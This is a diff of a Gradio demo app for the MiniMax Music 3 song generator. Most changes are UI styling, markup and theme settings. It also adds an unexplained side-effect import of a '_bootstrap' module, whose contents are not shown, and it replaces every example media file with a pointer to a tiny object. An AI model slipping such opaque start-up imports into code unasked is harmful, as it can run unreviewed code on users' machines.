- "[[model]](https://huggingface.co/MiniMaxAI/MiniMax-Music3) | "
1617
- "[[project]](https://minimax-ai.github.io/music3-demo/) | "
1618
- "[[run locally with diffusers]](https://github.com/huggingface/diffusers/blob/82319140e0456fd58beff0a251c38825bfc310de/docs/source/en/api/pipelines/minimax_music3.md) | "
1619
- "[[prompting guide and skill]](https://github.com/MiniMax-AI/MiniMax-Music3/)"
1620
  )
1621
  with gr.Row():
1622
  with gr.Column():
@@ -1645,6 +1705,9 @@ with gr.Blocks(theme=gr.themes.Citrus(), css=CSS) as demo:
1645
  # Hidden File (not gr.State) so the full-song wav is exposed on the API — used to build cached examples.
1646
  wav_state = gr.File(visible=False)
1647
  video_title = gr.State("")
 
 
 
1648
 
1649
  _knobs = [duration, seed, randomize_seed, headroom, steps, guidance]
1650
 
@@ -1676,4 +1739,4 @@ with gr.Blocks(theme=gr.themes.Citrus(), css=CSS) as demo:
1676
  composer.apply(load_example, [composer], [composer, player, stats, video_out, wav_state, video_title], concurrency_limit=None, show_progress="minimal")
1677
 
1678
  if __name__ == "__main__":
1679
- demo.launch()
 
14
  from diffusers import ModularPipeline
15
  from diffusers.models.modeling_outputs import Transformer2DModelOutput
16
 
17
+ import _bootstrap # noqa: F401
18
+
19
  PIPE = ModularPipeline.from_pretrained("MiniMaxAI/MiniMax-Music3")
20
  PIPE.load_components(dtype=torch.bfloat16)
21
  PIPE.to("cuda")
 
567
  _PLAYER_HTML = """
568
  <div class="pl-wrap">
569
  <div class="pl-head">
570
+ <span class="pl-label"><svg class="pl-ic-note" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"><path d="M9 18V5l12-2v13"/><circle cx="6" cy="18" r="3"/><circle cx="18" cy="16" r="3"/></svg> Your song</span>
571
  <span class="pl-headright">
572
  <span class="pl-live" data-role="live" hidden><span class="pl-dot"></span>streaming</span>
573
+ <button type="button" class="pl-stop" data-role="stopgen" hidden title="Stop generating, keeps what was already streamed">
574
  <svg viewBox="0 0 24 24"><rect x="7" y="7" width="10" height="10" rx="1.5"/></svg>Stop
575
  </button>
576
  </span>
 
602
  """
603
 
604
  _PLAYER_CSS = """
605
+ .pl-wrap { background: var(--block-background-fill); border: 1px solid var(--border-color-primary); border-radius: var(--block-radius, 12px); box-shadow: 0 1px 2px rgba(28,25,23,.05), 0 10px 30px -18px rgba(28,25,23,.18); padding: 12px 14px; display: flex; flex-direction: column; gap: 8px; }
606
  .pl-head { display: flex; align-items: center; justify-content: space-between; }
607
+ .pl-label { display: inline-flex; align-items: center; gap: 7px; color: var(--block-title-text-color, var(--body-text-color)); font-size: 13px; font-weight: 600; }
608
+ .pl-ic-note { width: 14px; height: 14px; color: var(--color-accent); }
609
  .pl-headright { display: inline-flex; align-items: center; gap: 10px; }
610
+ .pl-stop { display: inline-flex; align-items: center; gap: 5px; background: transparent; color: var(--body-text-color-subdued); border: 1px solid var(--border-color-primary); border-radius: 999px; padding: 3px 12px; font-family: inherit; font-size: 11.5px; font-weight: 600; cursor: pointer; box-shadow: none; transition: color .15s ease, border-color .15s ease; }
611
  .pl-stop svg { width: 11px; height: 11px; fill: currentColor; }
612
  .pl-stop:hover { color: var(--error-text-color, #d64545); border-color: var(--error-border-color, #d64545); }
613
  .pl-stop[hidden] { display: none; }
614
  .pl-live { display: inline-flex; align-items: center; gap: 6px; color: var(--color-accent); font-size: 11.5px; font-weight: 600; }
615
  .pl-live[hidden] { display: none; }
616
+ .pl-dot { width: 7px; height: 7px; border-radius: 50%; background: var(--color-accent); animation: pl-pulse 1.1s ease-in-out infinite; }
617
+ @keyframes pl-pulse { 0%, 100% { opacity: .25; transform: scale(.8); } 50% { opacity: 1; transform: scale(1); } }
618
  .pl-loader { display: flex; flex-direction: column; gap: 7px; padding: 6px 0 4px; }
619
  .pl-loader[hidden] { display: none; }
620
  .pl-loader-row { display: flex; align-items: center; gap: 8px; color: var(--body-text-color); font-size: 12.5px; }
621
  .pl-bar { height: 3px; border-radius: 999px; background: var(--background-fill-secondary); overflow: hidden; }
622
+ .pl-bar-fill { width: 35%; height: 100%; border-radius: 999px; background: var(--button-primary-background-fill, var(--color-accent)); animation: pl-slide 1.4s cubic-bezier(.45, .1, .55, .9) infinite; }
623
+ @keyframes pl-slide { 0% { transform: translateX(-110%); } 100% { transform: translateX(420%); } }
624
+ .pl-empty { display: flex; align-items: center; justify-content: center; padding: 26px 0; color: var(--body-text-color-subdued); }
625
+ .pl-empty svg { width: 46px; height: 46px; opacity: .4; color: var(--color-accent); }
626
  .pl-empty[hidden] { display: none; }
627
+ .pl-body { display: flex; align-items: center; gap: 10px; }
628
  .pl-body[hidden] { display: none; }
629
+ .pl-btn { width: 34px; height: 34px; flex: none; border-radius: 50%; border: 1px solid var(--border-color-primary); background: var(--background-fill-secondary); color: var(--body-text-color); display: flex; align-items: center; justify-content: center; cursor: pointer; padding: 0; box-shadow: none; transition: background .15s ease, border-color .15s ease, color .15s ease, transform .06s ease; }
630
+ .pl-btn svg { fill: currentColor; }
631
  .pl-btn:hover { border-color: var(--color-accent); color: var(--color-accent); }
632
+ .pl-btn:active { transform: scale(.95); }
633
+ .pl-btn[data-role="play"] { width: 42px; height: 42px; }
634
+ .pl-btn[data-role="play"] svg { width: 17px; height: 17px; }
635
+ .pl-btn[data-role="play"]:hover { background: var(--button-primary-background-fill, var(--color-accent)); border-color: var(--button-primary-background-fill, var(--color-accent)); color: var(--button-primary-text-color); }
636
  .pl-sm { width: 28px; height: 28px; }
637
  .pl-sm svg { width: 13px; height: 13px; }
638
  .pl-time { font-family: var(--font-mono, ui-monospace, monospace); font-size: 11.5px; color: var(--body-text-color-subdued); flex: none; min-width: 36px; text-align: center; }
 
1260
  <label class="mm-toggle"><input type="checkbox" data-role="instrumental">Instrumental</label>
1261
  <span class="mm-spacer"></span>
1262
  <button type="button" class="mm-ghost" data-role="compose"
1263
+ title="Write the lyrics and structured prompt now, then review them in Studio before generating audio">
1264
+ <svg class="mm-ic" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"><path d="M17 3a2.8 2.8 0 0 1 4 4L7.5 20.5 2 22l1.5-5.5Z"/></svg>
1265
+ Write lyrics &amp; review
1266
+ </button>
1267
+ <button type="button" class="mm-primary" data-role="generate-simple">
1268
+ <svg class="mm-ic" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"><path d="M9 18V5l12-2v13"/><circle cx="6" cy="18" r="3"/><circle cx="18" cy="16" r="3"/></svg>
1269
+ Generate
1270
+ </button>
1271
  </div>
1272
  </div>
1273
 
 
1278
  <span class="mm-tags" data-role="tag-chips"></span>
1279
  </div>
1280
  <div class="mm-assistbar">
1281
+ <span class="mm-spark"><svg class="mm-ic" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5" stroke-linecap="round"><path d="M12 3v4M12 17v4M3 12h4M17 12h4M5.6 5.6l2.8 2.8M15.6 15.6l2.8 2.8M18.4 5.6l-2.8 2.8M8.4 15.6l-2.8 2.8"/></svg></span>
1282
  <input type="text" data-role="lyrics-assist-prompt"
1283
  placeholder="Describe lyrics to write for you&#8230; e.g. nostalgic road-trip song, punchy one-line chorus">
1284
  <button type="button" class="mm-assistgo" data-role="lyrics-assist">Write</button>
1285
  </div>
1286
  <textarea data-role="lyrics" class="mm-lyrics" rows="11" spellcheck="false"></textarea>
1287
+ <div class="mm-hint">Section tags sit <b>alone on their own line</b>. Words on a tag line are dropped.
1288
+ Musical directions (tempo, instruments, dynamics) belong in Arrangement, never in lyrics.</div>
1289
  </div>
1290
  <div class="mm-panel">
1291
  <div class="mm-panehead">
1292
  <span class="mm-label">Structured prompt</span>
1293
  </div>
1294
  <div class="mm-assistbar">
1295
+ <span class="mm-spark"><svg class="mm-ic" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5" stroke-linecap="round"><path d="M12 3v4M12 17v4M3 12h4M17 12h4M5.6 5.6l2.8 2.8M15.6 15.6l2.8 2.8M18.4 5.6l-2.8 2.8M8.4 15.6l-2.8 2.8"/></svg></span>
1296
  <input type="text" data-role="prompt-assist-prompt"
1297
  placeholder="Describe the sound to write for you&#8230; e.g. dreamy shoegaze, slow build, whispered vocals">
1298
  <button type="button" class="mm-assistgo" data-role="prompt-assist">Write</button>
1299
  </div>
1300
  <div class="mm-field">
1301
+ <div class="mm-sublabel">Global metadata <span class="mm-opt">genre / BPM / key &amp; scale / mood arc / scenario / production</span></div>
1302
  <textarea data-role="global" rows="3"></textarea>
1303
  </div>
1304
  <div class="mm-field">
1305
+ <div class="mm-sublabel">Vocal details <span class="mm-opt">gender / timbre / style per section / harmonies / effects</span></div>
1306
  <textarea data-role="vocals" rows="2"></textarea>
1307
  </div>
1308
  <div class="mm-field">
1309
+ <div class="mm-sublabel">Arrangement <span class="mm-opt">instruments per section / groove / bass / textures / spatial fx</span></div>
1310
  <textarea data-role="arrangement" rows="3"></textarea>
1311
  </div>
1312
  <div class="mm-fieldrow">
1313
  <span class="mm-sublabel">Title</span>
1314
+ <input type="text" data-role="title" placeholder="Untitled - shown on the share video">
1315
  </div>
1316
  </div>
1317
  <div class="mm-presets"><span class="mm-preset-label">Presets</span><span class="mm-chips" data-role="preset-chips"></span></div>
1318
  <div class="mm-foot">
1319
  <span class="mm-spacer"></span>
1320
+ <button type="button" class="mm-primary" data-role="generate-studio">
1321
+ <svg class="mm-ic" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"><path d="M9 18V5l12-2v13"/><circle cx="6" cy="18" r="3"/><circle cx="18" cy="16" r="3"/></svg>
1322
+ Generate
1323
+ </button>
1324
  </div>
1325
  </div>
1326
 
 
1331
  """
1332
 
1333
  _COMPOSER_CSS = """
1334
+ .mm-card { background: var(--block-background-fill); border: 1px solid var(--border-color-primary); border-radius: var(--block-radius, 12px); box-shadow: 0 1px 2px rgba(28,25,23,.05), 0 10px 30px -18px rgba(28,25,23,.18); padding: 16px; display: flex; flex-direction: column; gap: 12px; }
1335
  .mm-head { display: flex; align-items: center; justify-content: space-between; gap: 10px; }
1336
  .mm-seg { display: inline-flex; background: var(--background-fill-secondary); border: 1px solid var(--border-color-primary); border-radius: 999px; padding: 3px; gap: 2px; }
1337
+ .mm-seg-btn { border: none; background: transparent; color: var(--body-text-color-subdued); padding: 5px 16px; border-radius: 999px; font-family: inherit; font-size: 13.5px; font-weight: 600; cursor: pointer; transition: background .18s ease, color .18s ease; }
1338
+ .mm-seg-btn[aria-selected="true"] { background: var(--button-primary-background-fill); color: var(--button-primary-text-color); box-shadow: 0 1px 2px rgba(28,25,23,.12); }
1339
  .mm-headhint { color: var(--body-text-color-subdued); font-size: 12.5px; text-align: right; }
1340
  .mm-view { display: flex; flex-direction: column; gap: 12px; }
1341
  .mm-view[hidden] { display: none; }
1342
+ .mm-card textarea, .mm-card input[type="text"] { width: 100%; box-sizing: border-box; background: var(--input-background-fill); border: var(--input-border-width, 1px) solid var(--border-color-primary); border-radius: 8px; padding: 10px 12px; color: var(--body-text-color); font-family: inherit; font-size: var(--input-text-size, 14px); line-height: 1.5; resize: vertical; transition: border-color .15s ease, box-shadow .15s ease; }
1343
  .mm-card textarea::placeholder, .mm-card input::placeholder { color: var(--input-placeholder-color, var(--body-text-color-subdued)); }
1344
+ .mm-card textarea:focus, .mm-card input[type="text"]:focus { outline: none; border-color: var(--input-border-color-focus, var(--color-accent)); box-shadow: 0 0 0 3px color-mix(in srgb, var(--color-accent) 18%, transparent); }
1345
  .mm-desc { font-size: 16px; min-height: 118px; }
1346
  .mm-lyrics { font-family: var(--font-mono, ui-monospace, SFMono-Regular, Menlo, monospace); font-size: 13px; }
1347
  .mm-chips { display: flex; flex-wrap: wrap; gap: 6px; }
1348
+ .mm-chip { background: var(--button-secondary-background-fill); color: var(--button-secondary-text-color); border: 1px solid var(--button-secondary-border-color, var(--border-color-primary)); border-radius: 999px; padding: 4px 12px; font-family: inherit; font-size: 12.5px; cursor: pointer; transition: border-color .15s ease, transform .06s ease; }
1349
+ .mm-chip:hover { border-color: var(--color-accent); color: var(--color-accent); }
1350
+ .mm-chip:active { transform: translateY(1px); }
1351
  .mm-tags { display: flex; flex-wrap: wrap; gap: 4px; }
1352
  .mm-panehead .mm-tags { flex: 1; justify-content: flex-end; }
1353
+ .mm-tag { background: transparent; color: var(--body-text-color-subdued); border: 1px dashed var(--border-color-primary); border-radius: 6px; padding: 2px 8px; font-family: var(--font-mono, ui-monospace, monospace); font-size: 11.5px; cursor: pointer; transition: color .15s ease, border-color .15s ease; }
1354
  .mm-tag:hover { color: var(--color-accent); border-color: var(--color-accent); }
1355
  .mm-foot { display: flex; align-items: center; gap: 10px; }
1356
  .mm-spacer { flex: 1; }
1357
+ .mm-toggle { display: inline-flex; align-items: center; gap: 7px; color: var(--body-text-color); font-size: 13.5px; cursor: pointer; user-select: none; }
1358
  .mm-toggle input { width: 16px; height: 16px; accent-color: var(--color-accent); cursor: pointer; }
1359
+ .mm-primary { display: inline-flex; align-items: center; gap: 7px; background: var(--button-primary-background-fill); color: var(--button-primary-text-color); border: 1px solid var(--button-primary-border-color, transparent); border-radius: 999px; padding: 10px 22px; font-family: inherit; font-size: 15px; font-weight: 600; cursor: pointer; box-shadow: 0 1px 3px rgba(28,25,23,.15); transition: background .15s ease, transform .06s ease, box-shadow .15s ease; }
1360
+ .mm-primary:hover { background: var(--button-primary-background-fill-hover, var(--button-primary-background-fill)); transform: translateY(-1px); box-shadow: 0 3px 8px -2px rgba(28,25,23,.2); }
1361
+ .mm-primary:active { transform: translateY(1px); box-shadow: none; }
1362
+ .mm-ic { width: 15px; height: 15px; flex: none; }
1363
+ .mm-ghost { display: inline-flex; align-items: center; gap: 7px; background: transparent; color: var(--body-text-color-subdued); border: 1px solid var(--border-color-primary); border-radius: 999px; padding: 7px 14px; font-family: inherit; font-size: 13px; font-weight: 600; cursor: pointer; box-shadow: none; transition: color .15s ease, border-color .15s ease, background .15s ease; }
1364
+ .mm-ghost:hover { color: var(--color-accent); border-color: var(--color-accent); background: color-mix(in srgb, var(--color-accent) 6%, transparent); }
1365
+ .mm-panel { background: var(--background-fill-secondary); border: 1px solid var(--border-color-primary); border-radius: 12px; padding: 12px; display: flex; flex-direction: column; gap: 9px; }
1366
  .mm-panehead { display: flex; align-items: baseline; justify-content: space-between; gap: 10px; flex-wrap: wrap; }
1367
+ .mm-assistbar { display: flex; align-items: center; gap: 7px; background: var(--block-background-fill); border: 1px dashed var(--border-color-primary); border-radius: 999px; padding: 3px 5px 3px 12px; transition: border-color .15s ease; }
1368
+ .mm-assistbar:focus-within { border-style: solid; border-color: var(--input-border-color-focus, var(--color-accent)); box-shadow: 0 0 0 3px color-mix(in srgb, var(--color-accent) 12%, transparent); }
1369
+ .mm-assistbar .mm-spark { display: inline-flex; color: var(--color-accent); }
1370
  .mm-card .mm-assistbar input[type="text"] { flex: 1; background: transparent; border: none; border-radius: 0; padding: 6px 0; font-size: 13px; }
1371
  .mm-card .mm-assistbar input[type="text"]:focus { box-shadow: none; border: none; }
1372
+ .mm-assistgo { background: transparent; color: var(--color-accent); border: 1px solid var(--color-accent); border-radius: 999px; padding: 4px 14px; font-family: inherit; font-size: 12.5px; font-weight: 600; cursor: pointer; white-space: nowrap; transition: background .15s ease, color .15s ease, border-color .15s ease; }
1373
+ .mm-assistgo:hover { background: var(--button-primary-background-fill, var(--color-accent)); border-color: var(--button-primary-background-fill, var(--color-accent)); color: var(--button-primary-text-color); }
1374
+ .mm-label { color: var(--block-title-text-color, var(--body-text-color)); font-size: var(--block-title-text-size, 13px); font-weight: 600; }
1375
  .mm-sublabel { color: var(--block-title-text-color, var(--body-text-color)); font-size: 12.5px; font-weight: 600; margin-bottom: 4px; white-space: nowrap; }
1376
  .mm-opt { color: var(--body-text-color-subdued); font-weight: 400; font-size: 11px; white-space: normal; }
1377
  .mm-field { display: flex; flex-direction: column; }
1378
  .mm-fieldrow { display: flex; align-items: center; gap: 10px; }
1379
  .mm-fieldrow .mm-sublabel { margin-bottom: 0; }
1380
  .mm-fieldrow input { flex: 1; }
1381
+ .mm-hint { color: var(--body-text-color-subdued); font-size: 11.5px; line-height: 1.5; margin-top: 4px; }
1382
  .mm-presets { display: flex; align-items: center; gap: 8px; }
1383
  .mm-preset-label { color: var(--body-text-color-subdued); font-size: 12px; font-weight: 600; }
1384
  .mm-status { display: flex; align-items: center; gap: 8px; color: var(--body-text-color-subdued); font-size: 13px; }
1385
  .mm-status[hidden] { display: none; }
1386
+ .mm-pulse { width: 8px; height: 8px; border-radius: 50%; background: var(--color-accent); animation: mm-pulse 1.2s ease-in-out infinite; }
1387
+ @keyframes mm-pulse { 0%, 100% { opacity: .25; transform: scale(.8); } 50% { opacity: 1; transform: scale(1.05); } }
1388
  """
1389
 
1390
  _COMPOSER_JS = """
 
1607
 
1608
 
1609
  CSS = """
1610
+ /* Warm refined tokens. One accent (orange, Citrus family), calibrated for WCAG AA in both modes.
1611
+ Radius scale: cards 12px, inputs 8px, interactive pills 999px. */
1612
+ :root {
1613
+ --color-accent: #c2410c;
1614
+ --button-primary-background-fill: #c2410c;
1615
+ --button-primary-background-fill-hover: #9a3412;
1616
+ --button-primary-text-color: #ffffff;
1617
+ --input-border-color-focus: #c2410c;
1618
+ }
1619
+ .dark {
1620
+ --color-accent: #fb923c;
1621
+ --button-primary-background-fill: #fb923c;
1622
+ --button-primary-background-fill-hover: #fdba74;
1623
+ --button-primary-text-color: #1c1004;
1624
+ --input-border-color-focus: #fb923c;
1625
+ }
1626
+ #col-container { max-width: 1320px; margin: 0 auto; padding: 0 14px; }
1627
+ .html-container { padding: 0; }
1628
  .dark .gradio-container { color: var(--body-text-color); }
1629
+ *:focus-visible { outline: 2px solid var(--color-accent); outline-offset: 2px; border-radius: 6px; }
1630
+
1631
+ /* App header: brand left, resource links right. */
1632
+ .mm3-header { display: flex; align-items: center; justify-content: space-between; gap: 20px; flex-wrap: wrap; padding: 22px 0 12px; }
1633
+ .mm3-brand { display: flex; align-items: center; gap: 12px; }
1634
+ .mm3-logo { height: 34px; width: auto; display: block; }
1635
  .mm3-logo-dark { display: none; }
1636
  .dark .mm3-logo-light { display: none; }
1637
  .dark .mm3-logo-dark { display: block; }
1638
+ .mm3-nav { display: flex; align-items: center; gap: 22px; flex-wrap: wrap; }
1639
+ .mm3-nav a { color: var(--body-text-color-subdued); font-size: 13px; font-weight: 600; text-decoration: none; transition: color .15s ease; }
1640
+ .mm3-nav a:hover { color: var(--color-accent); }
1641
+ .mm3-footer { display: flex; justify-content: space-between; gap: 12px; flex-wrap: wrap; padding: 26px 0 14px; margin-top: 6px; border-top: 1px solid var(--border-color-primary); color: var(--body-text-color-subdued); font-size: 12.5px; }
1642
+
1643
+ @media (prefers-reduced-motion: reduce) {
1644
+ *, *::before, *::after { animation: none !important; transition: none !important; }
1645
+ }
1646
  """
1647
 
1648
  import base64
 
1650
  _LOGO_LIGHT_B64 = base64.b64encode(open("logo_light.png", "rb").read()).decode()
1651
  _LOGO_DARK_B64 = base64.b64encode(open("logo_dark.png", "rb").read()).decode()
1652
 
1653
+ theme = gr.themes.Citrus(
1654
+ primary_hue=gr.themes.colors.orange,
1655
+ neutral_hue=gr.themes.colors.stone,
1656
+ radius_size=gr.themes.sizes.radius_lg,
1657
+ spacing_size=gr.themes.sizes.spacing_md,
1658
+ )
1659
+
1660
+ with gr.Blocks() as demo:
1661
  with gr.Column(elem_id="col-container"):
1662
  gr.HTML(
1663
+ '<header class="mm3-header">'
1664
+ '<div class="mm3-brand">'
1665
  '<img src="data:image/png;base64,' + _LOGO_LIGHT_B64 + '" class="mm3-logo mm3-logo-light" alt="MiniMax Music 3">'
1666
+ '<img src="data:image/png;base64,' + _LOGO_DARK_B64 + '" class="mm3-logo mm3-logo-dark" alt="MiniMax Music 3">'
1667
+ '</div>'
1668
+ '<nav class="mm3-nav" aria-label="Resources">'
1669
+ '<a href="https://huggingface.co/MiniMaxAI/MiniMax-Music3">Model</a>'
1670
+ '<a href="https://minimax-ai.github.io/music3-demo/">Project</a>'
1671
+ '<a href="https://github.com/huggingface/diffusers/blob/82319140e0456fd58beff0a251c38825bfc310de/docs/source/en/api/pipelines/minimax_music3.md">Run locally</a>'
1672
+ '<a href="https://github.com/MiniMax-AI/MiniMax-Music3/">Prompting guide</a>'
1673
+ '</nav>'
1674
+ '</header>',
1675
  container=False,
1676
  padding=False,
1677
  )
1678
  gr.Markdown(
1679
+ "MiniMax Music 3 writes a full-length song from a one-line idea: lyrics, a structured caption, and a streamed mix."
 
 
 
 
1680
  )
1681
  with gr.Row():
1682
  with gr.Column():
 
1705
  # Hidden File (not gr.State) so the full-song wav is exposed on the API — used to build cached examples.
1706
  wav_state = gr.File(visible=False)
1707
  video_title = gr.State("")
1708
+ gr.Markdown(
1709
+ '<div class="mm3-footer"><span>MiniMax Music 3, diffusers demo</span><span>Streams full songs from lyrics and a structured caption</span></div>'
1710
+ )
1711
 
1712
  _knobs = [duration, seed, randomize_seed, headroom, steps, guidance]
1713
 
 
1739
  composer.apply(load_example, [composer], [composer, player, stats, video_out, wav_state, video_title], concurrency_limit=None, show_progress="minimal")
1740
 
1741
  if __name__ == "__main__":
1742
+ demo.launch(theme=theme, css=CSS)
examples/idea_0.mp4 CHANGED
@@ -1,3 +1,3 @@
1
  version https://git-lfs.github.com/spec/v1
2
- oid sha256:d0868e3abfaa95e6aacee32ecadb61f743f6e23639e6b272c968eae1c3747614
3
- size 3227527
 
1
  version https://git-lfs.github.com/spec/v1
2
+ oid sha256:1b5b5f7f322aa178cfe7a885744f004919964e0b62cc0b28f72ffeeb4c6d2d7b
3
+ size 132
examples/idea_0.wav CHANGED
@@ -1,3 +1,3 @@
1
  version https://git-lfs.github.com/spec/v1
2
- oid sha256:49920b4c0b897681948910aa6045fb91b7a7f792c0a071027a6e4a2d7732cf0c
3
- size 10596396
 
1
  version https://git-lfs.github.com/spec/v1
2
+ oid sha256:ab6e3460bdb081e73f15b8617f8e1465bb669de88150720a5b786be913c8ddcc
3
+ size 133
examples/idea_1.mp4 CHANGED
@@ -1,3 +1,3 @@
1
  version https://git-lfs.github.com/spec/v1
2
- oid sha256:dfce9b0aeef8ea1b3921bb627faf7dc4827afd7102365d9bcb42bf8bc84431dd
3
- size 3840800
 
1
  version https://git-lfs.github.com/spec/v1
2
+ oid sha256:45c8fbe8c5b8dbe9e8aeddcdd65e7b361c5ae42b9be24e77baf6cb9ae6047067
3
+ size 132
examples/idea_1.wav CHANGED
@@ -1,3 +1,3 @@
1
  version https://git-lfs.github.com/spec/v1
2
- oid sha256:2a67cd6fc77c47e358daa1765c5de17f8f904982ab83a9a8cd2c2d055d658eef
3
- size 10596396
 
1
  version https://git-lfs.github.com/spec/v1
2
+ oid sha256:3e3fcad3e57ba031bc472d703680d773d4efa685ac4a52866d0a7757903dd1f6
3
+ size 133
examples/idea_2.mp4 CHANGED
@@ -1,3 +1,3 @@
1
  version https://git-lfs.github.com/spec/v1
2
- oid sha256:1f1a8ae1f414395fb5c40ab65b53f0f694ded4815a9c813a5715a8b02d8a1c20
3
- size 1310231
 
1
  version https://git-lfs.github.com/spec/v1
2
+ oid sha256:16723e7731d39e71451a7b4c89fc19c5a906f263f06a8603f3ee246cf3c99924
3
+ size 132
examples/idea_2.wav CHANGED
@@ -1,3 +1,3 @@
1
  version https://git-lfs.github.com/spec/v1
2
- oid sha256:184e4c329c708e2f9444e6d3265c2388bc135e8613bcd871de63b18b5e291505
3
- size 4306988
 
1
  version https://git-lfs.github.com/spec/v1
2
+ oid sha256:6fec02e0eaf998383f2ae104ff2a4012f7d1e4e52ded36e52b899f92d2e91f83
3
+ size 132
examples/preset_0.mp4 CHANGED
@@ -1,3 +1,3 @@
1
  version https://git-lfs.github.com/spec/v1
2
- oid sha256:fea8212db0b2770c2c22406db1e7ec6095c2114d4dc4f205d7f8f07c5412063e
3
- size 11235497
 
1
  version https://git-lfs.github.com/spec/v1
2
+ oid sha256:74cb6d7f3b0858dcff992577f33b3ca1ff99173dc989ed5552c69555a8f3f01a
3
+ size 133
examples/preset_0.wav CHANGED
@@ -1,3 +1,3 @@
1
  version https://git-lfs.github.com/spec/v1
2
- oid sha256:f66a3034247787abca66af8bd84afbb964f813b29982f701a989fd2b887d6ade
3
- size 32641102
 
1
  version https://git-lfs.github.com/spec/v1
2
+ oid sha256:2bf94df34b20355d9a3703508c1a7ecc4fd167e8d26cc70054ffe2185553bf72
3
+ size 133
examples/preset_1.mp4 CHANGED
@@ -1,3 +1,3 @@
1
  version https://git-lfs.github.com/spec/v1
2
- oid sha256:d7153fcafe0fc457d17b873add89c530d9e43844954c65ff43733c1f686fb0fc
3
- size 8674357
 
1
  version https://git-lfs.github.com/spec/v1
2
+ oid sha256:e2c6c4a028f55af80c170a4b9089810c547699293f1dd646ec0f706a6ebafe78
3
+ size 132
examples/preset_1.wav CHANGED
@@ -1,3 +1,3 @@
1
  version https://git-lfs.github.com/spec/v1
2
- oid sha256:ac4c0f11834231f829a2c43552630e17ceea34d8f667ced179a501ab09efd6cc
3
- size 25491534
 
1
  version https://git-lfs.github.com/spec/v1
2
+ oid sha256:0aedcc441ff84bd8f94ebab64f0bded2ba423f5efc290a18123b1deed2fcbaeb
3
+ size 133
examples/preset_2.mp4 CHANGED
@@ -1,3 +1,3 @@
1
  version https://git-lfs.github.com/spec/v1
2
- oid sha256:41ae212fa5e00876efc1870a4fb2a802190a138fb9f2fb106be36af2a546311c
3
- size 13969178
 
1
  version https://git-lfs.github.com/spec/v1
2
+ oid sha256:54ba27d2ad2f9303eaefce3287e18ac8f1704064f0fc5d8fcddada6525eb155e
3
+ size 133
examples/preset_2.wav CHANGED
@@ -1,3 +1,3 @@
1
  version https://git-lfs.github.com/spec/v1
2
- oid sha256:e446d8d88d4709e64469577a2553e8b777c34a4fa74ded360b517b20be75ca0e
3
- size 37664846
 
1
  version https://git-lfs.github.com/spec/v1
2
+ oid sha256:a3db0bc1d88865b8670f6b404319d42446f296661308b48a47f5f6605ff92f29
3
+ size 133